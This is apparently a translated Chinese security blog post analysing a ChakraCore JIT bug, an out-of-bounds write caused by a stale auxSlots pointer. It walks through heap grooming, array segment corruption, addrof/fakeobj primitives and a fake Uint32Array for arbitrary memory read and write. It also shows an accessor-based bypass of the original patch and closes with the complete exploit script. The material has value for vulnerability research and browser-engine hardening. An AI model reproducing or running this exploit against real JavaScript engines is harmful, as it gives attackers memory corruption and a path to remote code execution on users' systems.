导语:这篇文章是一篇关于ChakraCore的RCE漏洞的分析,从我发现它差不多已经过去一年了。我之前从未报告过此漏洞的原因是Chakra很长一段时间没有推出新版本,因此这个bug从未作为Edge的一部分被发布。我仍然可以向MSRC报告此漏洞,并且可能会收到一封感谢信,或者获得赏金。
这篇文章是一篇关于ChakraCore的RCE漏洞的分析,从我发现它差不多已经过去一年了。我之前从未报告过此漏洞的原因是Chakra很长一段时间没有推出新版本,因此这个bug从未作为Edge的一部分被发布。我仍然可以向MSRC报告此漏洞,并且可能会收到一封感谢信,或者获得赏金。
但是很不幸的是,这个洞最近被修补了,但是在安全开发团队发布补丁的同一天我绕过了补丁,让我们深入研究一下。
利用条件
ChakraCore中的JSObjects
在ChakraCore中,与其他引擎一样,对象的“默认”存储模式使用指向保存属性值的连续内存缓冲区的指针,并使用名为a的对象Type来描述存储给定属性名称的属性值的位置。
JSObject中a对象的布局如下:
· vfptr:虚表指针
· type:保存类型指针
· auxSlots:指向缓冲区保持对象属性的指针
· objectArray:如果对象具有索引属性,则指向JSArray
为了避免在将新属性添加到对象时重新分配和复制先前的属性,auxSlots缓冲区将以特定大小增长,以考虑将来的属性添加问题。
ChakraCore中的JSArrays
使用3种存储来存储数组以允许优化:
· NativeIntArray 其中整数存储在4个字节上的内存位置
· NativeFloatArray 数字以8个字节的形式存储
· JavascritpArray 对象指针会被直接存储
后面介绍数组:)
JIT背景知识
ChakraCore有一个JIT编译器,它有两层优化:
· SimpleJit
· FullJit
FullJit层是执行所有优化的层,并使用直接算法优化函数的控制流图(CFG):
· A backward pass over the graph
· A forward pass
· Another backward pass (called DeadStore pass)
在这些过程中,在每个基本块处收集数据以跟踪关于使用表示JS变量的各种符号的各种信息,但也可以表示内部字段和指针。跟踪的一条信息是暴露的符号,这基本上就可以知道给定的符号是否可以在以后使用。
漏洞分析
该漏洞补丁是在2018年9月发布的。如果我们查看报告,会看到它尝试优化调用的某个指令AdjustObjType并引入一个名为AdjustObjTypeReloadAuxSlotPtr的新指令。
看一下下面的代码段:
function opt(obj) { ... // assume obj->auxSlots is full at this stage obj.new_property = 1; // [[ 1 ]] ... }
JIT必须生成一条AdjustObjType指令才能正确增长后面的缓冲区。
这个优化做的是使用暴露的信息来决定它是否应该生成一个AdjustObjType或者AdjustObjTypeReloadAuxSlotPtr,原因是如果该对象上没有更多的属性访问权限,我们就不必重新加载auxSlots指针。
我们可以在下面的方法中看到传递中的特定逻辑:
void BackwardPass::InsertTypeTransition(IR::Instr *instrInsertBefore, StackSym *objSym, AddPropertyCacheBucket *data, BVSparse<JitArenaAllocator>* upwardExposedUses) { Assert(!this->IsPrePass()); IR::RegOpnd *baseOpnd = IR::RegOpnd::New(objSym, TyMachReg, this->func); baseOpnd->SetIsJITOptimizedReg(true); JITTypeHolder initialType = data->GetInitialType(); IR::AddrOpnd *initialTypeOpnd = IR::AddrOpnd::New(data->GetInitialType()->GetAddr(), IR::AddrOpndKindDynamicType, this->func); initialTypeOpnd->m_metadata = initialType.t; JITTypeHolder finalType = data->GetFinalType(); IR::AddrOpnd *finalTypeOpnd = IR::AddrOpnd::New(data->GetFinalType()->GetAddr(), IR::AddrOpndKindDynamicType, this->func); finalTypeOpnd->m_metadata = finalType.t; IR::Instr *adjustTypeInstr = // [[ 1 ]] IR::Instr::New(Js::OpCode::AdjustObjType, finalTypeOpnd, baseOpnd, initialTypeOpnd, this->func); if (upwardExposedUses) { // If this type change causes a slot adjustment, the aux slot pointer (if any) will be reloaded here, so take it out of upwardExposedUses. int oldCount; int newCount; Js::PropertyIndex inlineSlotCapacity; Js::PropertyIndex newInlineSlotCapacity; bool needSlotAdjustment = JITTypeHandler::NeedSlotAdjustment(initialType->GetTypeHandler(), finalType->GetTypeHandler(), &oldCount, &newCount, &inlineSlotCapacity, &newInlineSlotCapacity); if (needSlotAdjustment) { StackSym *auxSlotPtrSym = baseOpnd->m_sym->GetAuxSlotPtrSym(); if (auxSlotPtrSym) { if (upwardExposedUses->Test(auxSlotPtrSym->m_id)) { adjustTypeInstr->m_opcode = // [[ 2 ]] Js::OpCode::AdjustObjTypeReloadAuxSlotPtr; } } } } instrInsertBefore->InsertBefore(adjustTypeInstr); }
可以看到,默认情况下,它将生成一条AdjustObjType指令,并且只有AdjustObjTypeReloadAuxSlotPtr在测试upwardExposedUses->Test(auxSlotPtrSym->m_id)成功时才将该指令类型做更改。
然后可以看到在Lowerer处理这些特定指令时生成的逻辑:
void Lowerer::LowerAdjustObjType(IR::Instr * instrAdjustObjType) { IR::AddrOpnd *finalTypeOpnd = instrAdjustObjType->UnlinkDst()->AsAddrOpnd(); IR::AddrOpnd *initialTypeOpnd = instrAdjustObjType->UnlinkSrc2()->AsAddrOpnd(); IR::RegOpnd *baseOpnd = instrAdjustObjType->UnlinkSrc1()->AsRegOpnd(); bool adjusted = this->GenerateAdjustBaseSlots( instrAdjustObjType, baseOpnd, JITTypeHolder((JITType*)initialTypeOpnd->m_metadata), JITTypeHolder((JITType*)finalTypeOpnd->m_metadata)); if (instrAdjustObjType->m_opcode == Js::OpCode::AdjustObjTypeReloadAuxSlotPtr) { Assert(adjusted); // We reallocated the aux slots, so reload them if necessary. StackSym * auxSlotPtrSym = baseOpnd->m_sym->GetAuxSlotPtrSym(); Assert(auxSlotPtrSym); IR::Opnd *opndIndir = IR::IndirOpnd::New(baseOpnd, Js::DynamicObject::GetOffsetOfAuxSlots(), TyMachReg, this->m_func); IR::RegOpnd *regOpnd = IR::RegOpnd::New(auxSlotPtrSym, TyMachReg, this->m_func); regOpnd->SetIsJITOptimizedReg(true); Lowerer::InsertMove(regOpnd, opndIndir, instrAdjustObjType); } this->m_func->PinTypeRef((JITType*)finalTypeOpnd->m_metadata); IR::Opnd *opnd = IR::IndirOpnd::New(baseOpnd, Js::RecyclableObject::GetOffsetOfType(), TyMachReg, instrAdjustObjType->m_func); this->InsertMove(opnd, finalTypeOpnd, instrAdjustObjType); initialTypeOpnd->Free(instrAdjustObjType->m_func); instrAdjustObjType->Remove(); }
可以看到,instrAdjustObjType->m_opcode == Js::OpCode::AdjustObjTypeReloadAuxSlotPtr要添加额外的逻辑以重新加载auxSlots指针。
够简单吧?那么问题是,补丁实际上并不能修复漏洞,实际上会导致错误。
再看一下下面代码:
function opt(obj) { ... // assume obj->auxSlots is full at this stage obj.new_property = 1; // [[ 1 ]] }
没有通过属性存储的代码将使用auxSlots,这意味着auxSlots指针obj将不会被设置,因此优化将生成AdjustObjType指令。
一个问题是,确实会重新加载auxSlots指针,所以如果看一下在某些情况下发生的事情,可能会发现以下逻辑:
· auxSlots指针是实时并加载到寄存器中的
· 在写入新属性之前执行AdjustObjType
· auxSlots指针未重新加载
· 使用先前的auxSlots指针写入属性
因此,最终在原始的auxSlots缓冲区之后进行了8字节的OOB写操作,经过一些验证证明可以实现高度可靠的R / W原语。
要触发此漏洞,可以使用以下JavaScript函数:
function opt(obj) { obj.new_property = obj.some_existing_property; }
漏洞利用
选择目标
我的目标是实现两个原语操作:
· addrof 这将允许我们泄漏任何JavaScript对象的内部地址
· fakeobj whill将允许在内存中的任意地址处获取JavaScript对象的句柄
限制条件
首先,我们不能控制写OOB的偏移量,它将始终是auxSlots缓冲区之后的第一个QWORD。
其次,不能写任意值,我们将分配一个JSValue。在Chakra中,这意味着如果分配0x4141它将写入0x1000000004141的整数,0xfffc << 48则将标记为双精度。
找到覆写目标
我们需要找到一个覆盖写入的目标地址。Chakra广泛使用虚拟化的方法,这意味着大多数对象实际上将虚表指针作为其第一个qword。
在Control-Flow Guard的存在下没有info leak为了将这个8字节的OOB写入转换为更有效的原语,我最终定位了数组段。
为了处理稀疏数组,Chakra使用基于段的实现来避免数组膨胀。
let arr = []; arr[0] = 0; arr[0xfff] = 1;
在上面的代码片段中,为了避免分配0x1000 * 4字节只存储两个值,Chakra将此数组表示为具有两个段的数组:
· 第一个段开始索引0,其中包含指向的值0
· 第二个段,表示索引0xfff,包含值1
细分在内存中具有以下布局:
· uint32_t left:段的最左侧索引
· uint32_t length:该段中设置的最高索引
· uint32_t size:段可以存储的元素数量的实际大小/容量
· segment* next:指向下一个段的指针(如果有)
段的元素将在之后内联存储。
段的第一个QWORD有效地保存了两个看起来非常有趣的字段来覆盖。更重要的是,可以使用标记的整数。如果写0x4000 OOB,我们将得到一个段,left == 0x4000并且length == 0x10000允许我们以更自由的方式读取段的OOB。
现在需要处理的是如何在auxSlots缓冲区之后放置一个段,以便可以覆盖段的前8个字节。
Chakra Heap Feng-Shui
Chakra中的大多数对象都是通过Recycler的垃圾回收机制来工作的。它是一个基于bucket的分配器,其中存储器的范围被保留用于特定大小的bucket。对我们来说意味着最终在同一个bucket中的大小的对象很可能彼此相邻,如果它们最终不在同一个bucket中,那么实现两个分配将是非常困难的。
我们可以控制auxSlots分配到哪个存储bucket,因为我们可以在传递之前控制对象上设置的属性数。我向对象添加随机数量的属性,直到知道哪个数字是正确的,比如这样:
· 与auxSlots新数组段分配在同一个存储bucket中
· auxSlots
如果我们有一个具有20个属性的对象,就将满足这两个条件。
破坏段地址
覆盖数组段的另一个好处是我们将能够通过常规JavaScript检测发现是否发生了破坏。
使用了以下策略:
1. 创建一个 NativeFloatArray。
2. 设置一个高索引(0x7000):这将完成两件事,首先关闭它将在数组上设置长度变量,以避免引擎在访问OOB索引并创建新段时短路。
3. 用20个属性创建我们的对象:这将在正确的bucket中分配auxSlots。
4. 通过分配索引0x1000创建一个新段。
在步骤3之后立即执行步骤4,尝试在步骤3中分配的对象的auxSlots之后增加索引新段的可能性。
如果修改成功,我们将更改段的索引0x4000,因此如果读取该索引处的标记值,就会知道它是否有效。
可以使用以下代码演示对数组段的破坏:
// this creates an object of a certain size which makes so that its auxSlots is full // adding a property to it will require growing the auxSlots buffer function make_obj() { let o = {}; o.a1=0x4000; o.a2=0x4000; o.a3=0x4000; o.a4=0x4000; o.a5=0x4000; o.a6=0x4000; o.a7=0x4000; o.a8=0x4000; o.a9=0x4000; o.a10=0x4000; o.a11=0x4000; o.a12=0x4000; o.a13=0x4000; o.a14=0x4000; o.a15=0x4000; o.a16=0x4000; o.a17=0x4000; o.a18=0x4000; o.a19=0x4000; o.a20=0x4000; return o; } function opt(o) { o.pwn = o.a1; } for (var i = 0; i < 1000; i++) { arr = [1.1]; arr[0x7000] = 0x200000 // Segment the array let o = make_obj(); // arr[0x1000] = 1337.36; // this will allocate a segment right past the auxSlots of o, we can overwrite the first qword which contains length and index opt(o); // now if we triggered the bug, we overwrote the first qword of the segment // for index 0x1000 so that it thinks the index is 0x4000 and length 0x10000 // (tagged integer 0x4000) // if we access 0x4000 and read the marker value we put, then we know it was corrupted if (arr[0x4000] == 1337.36) { print("[+] corruption worked"); break; } }
现在可以从arr数组索引开始访问0x4000并读取超出缓冲区范围的值。因为arr声明了一个包含浮点数的数组,它将被表示为NativeFloatArray允许我们将内存中的值读取为原始数字!
创建Addrof
由于的段破坏,我们将能够设计出一个稳定的addrof原语。现在要做的是实现一个布局,其中损坏的段直接由包含对象指针的数组在内存中跟随。通过从段中读取OOB,我们将能够读取这些指针值并将其作为原始数字返回到JavaScript中。
这就是addrof设置的样子:
addrof_idx = -1; function setup_addrof(toLeak) { for (var i = 0; i < 1000; i++) { addrof_hax = [1.1]; addrof_hax[0x7000] = 0x200000; let o = make_obj(); addrof_hax[0x1000] = 1337.36; opt(o); if (addrof_hax[0x4000] == 1337.36) { print("[+] corruption done for addrof"); break; } } addrof_hax2 = []; addrof_hax2[0x1337] = toLeak; // this will be the first qword of the segment of addrof_hax2 which holds the object we want to leak marker = 2.1219982213e-314 // 0x100001337; for (let i = 0; i < 0x500; i++) { let v = addrof_hax[0x4010 + i]; if (v == marker) { print("[+] Addrof: found marker value"); addrof_idx = i; return; } } setup_addrof(); } var addrof_setupped = false; function addrof(toLeak) { if (!addrof_setupped) { print("[!] Addrof layout not set up"); setup_addrof(toLeak); addrof_setupped = true; print("[+] Addrof layout done!!!"); } addrof_hax2[0x1337] = toLeak return f2i(addrof_hax[0x4010 + addrof_idx + 3]); }
创建Fakeobj
为了构建fakeobj我们需要做同样的事情,我们将破坏段a JavascriptArray,并在NativeFloatArray之后放置一个段。然后,我们就能够在float数组中存储伪指针值,并通过从对象数组段中读出超出范围的未绑定值表示指针的边界来获取指针句柄。
function setup_fakeobj(addr) { for (var i = 0; i < 100; i++) { fakeobj_hax = [{}]; fakeobj_hax2 = [addr]; fakeobj_hax[0x7000] = 0x200000 fakeobj_hax2[0x7000] = 1.1; let o = make_obj(); fakeobj_hax[0x1000] = i2f(0x404040404040); fakeobj_hax2[0x3000] = addr; fakeobj_hax2[0x3001] = addr; opt(o); if (fakeobj_hax[0x4000] == i2f(0x404040404040)) { print("[+] corruption done for fakeobj"); break; } } return fakeobj_hax[0x4000 + 20] // access OOB into fabeobj_hax2 } var fakeobj_setuped = false; function fakeobj(addr) { if (!fakeobj_setuped) { print("[!] Fakeobj layout not set up"); setup_fakeobj(addr); fakeobj_setuped = true; print("[+] Fakeobj layout done!!!"); } fakeobj_hax2[0x3000] = addr; return fakeobj_hax[0x4000 + 20] }
获取任意R / W原语
现在,实现R / W原语的步骤就非常简单,我在SSTIC 2019的演示中对它进行了解释。
为了得到一个R / W原语,我们将以一种Uint32Array可以控制其缓冲区指针的方式伪造a 。
为了伪造Chakra中的类型数组,我们必须知道它的vtable指针,因为它将在开始为其赋值时使用。我们的第一步是泄漏vtable指针并使用静态偏移计算想要的vtable指针。
为此,我们将使用这种方法:当使用new Array(<size>)语法分配时,数组达到一定的小尺寸将使其数据以内联方式存储。这与我们的addrof原语相结合,能够将任意数据放在内存中的已知位置。
为了泄漏vtable内存,将使用以下策略:
· 分配内联数组 a
· 分配内联数组b,使其紧随a其后
· 伪造一个Uint64Number朝向结尾,a与vtable指针b重叠
· 调用parseInt假number,它会将vtable指针作为数字返回
为了正确伪造一个Uint64Number我们只需要伪造一个Type,并且将一些值设置为有效地址。
其逻辑如下:
let a = new Array(16); let b = new Array(16); let addr = addrof(a); let type = addr + 0x68; // a[4] // type of Uint64 a[4] = 0x6; a[6] = lo(addr); a[7] = hi(addr); a[8] = lo(addr); a[9] = hi(addr); a[14] = 0x414141; a[16] = lo(type) a[17] = hi(type) // object is at a[14] let fake = fakeobj(i2f(addr + 0x90)) let vtable = parseInt(fake); let uint32_vtable = vtable + offset;
伪造类型数组:
type = new Array(16); type[0] = 50; // TypeIds_Uint32Array = 50, type[1] = 0; typeAddr = addrof(type) + 0x58; type[2] = lo(typeAddr); // ScriptContext is fetched and passed during SetItem so just make sure we don't use a bad pointer type[3] = hi(typeAddr); ab = new ArrayBuffer(0x1338); abAddr = addrof(ab); fakeObject = new Array(16); fakeObject[0] = lo(uint32_vtable); fakeObject[1] = hi(uint32_vtable); fakeObject[2] = lo(typeAddr); fakeObject[3] = hi(typeAddr); fakeObject[4] = 0; // zero out auxSlots fakeObject[5] = 0; fakeObject[6] = 0; // zero out objectArray fakeObject[7] = 0; fakeObject[8] = 0x1000; fakeObject[9] = 0; fakeObject[10] = lo(abAddr); fakeObject[11] = hi(abAddr); address = addrof(fakeObject); fakeObjectAddr = address + 0x58; arr = fakeobj(i2f(fakeObjectAddr));
设计的R / W原语如下:
memory = { setup: function(addr) { fakeObject[14] = lower(addr); fakeObject[15] = higher(addr); }, write32: function(addr, data) { memory.setup(addr); arr[0] = data; }, write64: function(addr, data) { memory.setup(addr); arr[0] = data & 0xffffffff; arr[1] = data / 0x100000000; }, read64: function(addr) { memory.setup(addr); return arr[0] + arr[1] * BASE; } }; print("[+] Reading at " + hex(address) + " value: " + hex(memory.read64(address))); memory.write32(0x414243444546, 0x1337);
绕过补丁
该错误最初是固定的,因此只需分配常规属性就不允许我们再触发漏洞。但是,可以定义一个具有特殊处理的存取器,以便触发相同的漏洞情况。
我们需要改变是make_obj和opt,功能如下:
function make_obj() { let o = {}; o.a1=0x4000; o.a2=0x4000; o.a3=0x4000; o.a4=0x4000; o.a5=0x4000; o.a6=0x4000; o.a7=0x4000; o.a8=0x4000; o.a9=0x4000; o.a10=0x4000; o.a11=0x4000; o.a12=0x4000; o.a13=0x4000; o.a14=0x4000; o.a15=0x4000; o.a16=0x4000; o.a17=0x4000; o.a18=0x4000; //o.a19=0x4000; //o.a20=0x4000; return o; } function opt(o) { o.__defineGetter__("accessor",() => {}) o.a2; // set auxSlots as live o.pwn = 0x4000; // bug }
完整的漏洞利用代码如下:
// Exploit for commit e149067c8f1a80462ac77d863b9bfb0173d0ced3 // bug introduced by 8c5332b8eb5663e4ec2636d81175ccf7a0820ff2 // by bkth var convert = new ArrayBuffer(0x100); var u32 = new Uint32Array(convert); var f64 = new Float64Array(convert); var scratch = new ArrayBuffer(0x100000); var scratch_u8 = new Uint8Array(scratch); var scratch_u32 = new Uint32Array(scratch); var BASE = 0x100000000; function hex(x) { return `0x${x.toString(16)}` } function bytes_to_u64(bytes) { return (bytes[0]+bytes[1]*0x100+bytes[2]*0x10000+bytes[3]*0x1000000 +bytes[4]*0x100000000+bytes[5]*0x10000000000); } function lower(x) { return x & 0xffffffff; } let lo = lower; function higher(x) { return (x - (x % BASE)) / BASE; } let hi = higher; function i2f(x) { u32[0] = x % BASE; u32[1] = (x - (x % BASE)) / BASE; return f64[0]; } function f2i(x) { f64[0] = x; return u32[0] + BASE * u32[1]; } // EXPLOIT // this creates an object of a certain size which makes so that its auxSlots is full, adding a property to it will require adjustment // First version of the bug was trivial, we just needed 20 regular properties // But first patch was easy to bypass by defining an accessor so we just remove 2 properties (accessors take up two slots in the auxSlots buffer) function make_obj() { let o = {}; o.a1=0x4000; o.a2=0x4000; o.a3=0x4000; o.a4=0x4000; o.a5=0x4000; o.a6=0x4000; o.a7=0x4000; o.a8=0x4000; o.a9=0x4000; o.a10=0x4000; o.a11=0x4000; o.a12=0x4000; o.a13=0x4000; o.a14=0x4000; o.a15=0x4000; o.a16=0x4000; o.a17=0x4000; o.a18=0x4000; //o.a19=0x4000; //o.a20=0x4000; return o; } let roots = []; // our buggy function to trigger the JIT bug function opt(o) { o.__defineGetter__("accessor",() => {}) o.a2; // set auxSlots as live o.pwn = 0x4000; // clobers vtable } addrof_idx = -1; function setup_addrof(toLeak) { for (var i = 0; i < 1000; i++) { addrof_hax = [1.1]; addrof_hax[0x7000] = 0x200000 // create a higher up segment to avoid setting length let o = make_obj(); addrof_hax[0x1000] = 1337.36; // this will allocate a segment right past the auxSlots of o, we can overwrite the first qword which contains length and index opt(o); // now if we triggered the bug, we overwrote the first qword of the segment for index 0x1000 so that it thinks the index is 0x4000 and length 0x10000 (tagged integer 0x4000) // if we access 0x4000 and read the marker value we put, then we know it was corrupted if (addrof_hax[0x4000] == 1337.36) { print("[+] corruption done for addrof"); break; } } addrof_hax2 = []; addrof_hax2[0x1337] = toLeak; // this will be the first qword of the segment of addrof_hax2 which holds the object we want to leak marker = 2.1219982213e-314 // 0x100001337; for (let i = 0; i < 0x500; i++) { let v = addrof_hax[0x4010 + i]; if (v == marker) { print("[+] Addrof: found marker value"); addrof_idx = i; return; } } setup_addrof(); } var addrof_setupped = false; function addrof(toLeak) { if (!addrof_setupped) { print("[!] Addrof layout not set up"); setup_addrof(toLeak); addrof_setupped = true; print("[+] Addrof layout done!!!"); } addrof_hax2[0x1337] = toLeak return f2i(addrof_hax[0x4010 + addrof_idx + 3]); } // this one is a bit more flaky // since here we corrupt a JavascriptArray, there is no scanning for marker values and such the index is hardcoded // in my experiments it works fine though: // we end up with a layout where we have (=> means followed by in memory) // full auxSlots => JavascriptArray that we corrupt => NativeDouble array where we set the addr to which we want a javascript object // by corrupting the JavascriptArray we can access oob into the NativeDouble array to fetch an unboxed value, which for the interpreter will mean this is an object function setup_fakeobj(addr) { for (var i = 0; i < 100; i++) { fakeobj_hax = [{}]; fakeobj_hax2 = [addr]; fakeobj_hax[0x7000] = 0x200000 // create a higher up segment to avoid setting length fakeobj_hax2[0x7000] = 1.1; let o = make_obj(); fakeobj_hax[0x1000] = i2f(0x404040404040); // this will allocate a segment right past the auxSlots of o, we can overwrite the first qword which contains length and index fakeobj_hax2[0x3000] = addr; fakeobj_hax2[0x3001] = addr; fakeobj_hax2[0x3002] = i2f(0x464646); opt(o); // now if we triggered the bug, we overwrote the first qword of the segment for index 0x1000 so that it thinks the index is 0x4000 and length 0x10000 (tagged integer 0x4000) // if we access 0x4000 and read the marker value we put, then we know it was corrupted if (fakeobj_hax[0x4000] == i2f(0x404040404040)) { print("[+] corruption done for fakeobj"); break; } } //Math.acos(fakeobj_hax); return fakeobj_hax[0x4000 + 20] // access OOB into fabeobj_hax2 } var fakeobj_setuped = false; function fakeobj(addr) { if (!fakeobj_setuped) { print("[!] Fakeobj layout not set up"); setup_fakeobj(addr); fakeobj_setuped = true; print("[+] Fakeobj layout done!!!"); } fakeobj_hax2[0x3000] = addr; return fakeobj_hax[0x4000 + 20] } print("[+] Checking primitives: obj == fakeobj(addrof(obj)) ?") let test = {x:0x1337}; let testaddr = addrof(test) if (fakeobj(i2f(testaddr)) != test) throw "null"; print("[+] Primitives are good"); let a = new Array(16); let b = new Array(16); let addr = addrof(a); let type = addr + 0x68; // type of Uint64 a[4] = 0x6; a[6] = lo(addr); a[7] = hi(addr); a[8] = lo(addr); a[9] = hi(addr); a[14] = 0x414141; a[16] = lo(type) a[17] = hi(type) // object is at a[14] let fake = fakeobj(i2f(addr + 0x90)) let vtable = parseInt(fake); print("[+] vtable pointer " + hex(vtable)); print("[+] Static offset to Uint32Array vtable == 0xe3a8") let uint32_vtable = vtable + 0xe3a8; print("[+] Uint32Array vtable pointer " + hex(uint32_vtable)); // Now here comes the object faking gymnastics // We need to satisfy a few things to fake a typed array successfully which will give us a rw primitives // Uint32Array vtable // fake a type* pointer where we can set the typeID of Uint32TypedArray This is susceptible to change although unlikely, check in EdgeJavascriptTypeId.h // We use array constructor with small sizes because the data is allocated inline so by calling addrof on these we know where we have controled data print("[+] Faking objects ..."); // Copy pasted from my presentation at SSTIC 2019 type = new Array(16); type[0] = 50; // TypeIds_Uint32Array = 50, type[1] = 0; typeAddr = addrof(type) + 0x58; type[2] = lo(typeAddr); // ScriptContext is fetched and passed during SetItem so just make sure we don't use a bad pointer type[3] = hi(typeAddr); ab = new ArrayBuffer(0x1338); abAddr = addrof(ab); fakeObject = new Array(16); fakeObject[0] = lo(uint32_vtable); fakeObject[1] = hi(uint32_vtable); fakeObject[2] = lo(typeAddr); fakeObject[3] = hi(typeAddr); fakeObject[4] = 0; // zero out auxSlots fakeObject[5] = 0; fakeObject[6] = 0; // zero out objectArray fakeObject[7] = 0; fakeObject[8] = 0x1000; fakeObject[9] = 0; fakeObject[10] = lo(abAddr); fakeObject[11] = hi(abAddr); address = addrof(fakeObject); fakeObjectAddr = address + 0x58; arr = fakeobj(i2f(fakeObjectAddr)); print("[+] Fake typed array " + hex(fakeObjectAddr)); memory = { setup: function(addr) { fakeObject[14] = lower(addr); fakeObject[15] = higher(addr); }, write32: function(addr, data) { memory.setup(addr); arr[0] = data; }, write64: function(addr, data) { memory.setup(addr); arr[0] = data & 0xffffffff; arr[1] = data / 0x100000000; }, read64: function(addr) { memory.setup(addr); return arr[0] + arr[1] * BASE; } }; print("[+] Reading at " + hex(address) + " value: " + hex(memory.read64(address))); memory.write32(0x414243444546, 0x1337);
结论
在这篇文章中,可以看到有限的原语就可以完成一次RCE,谢谢阅读。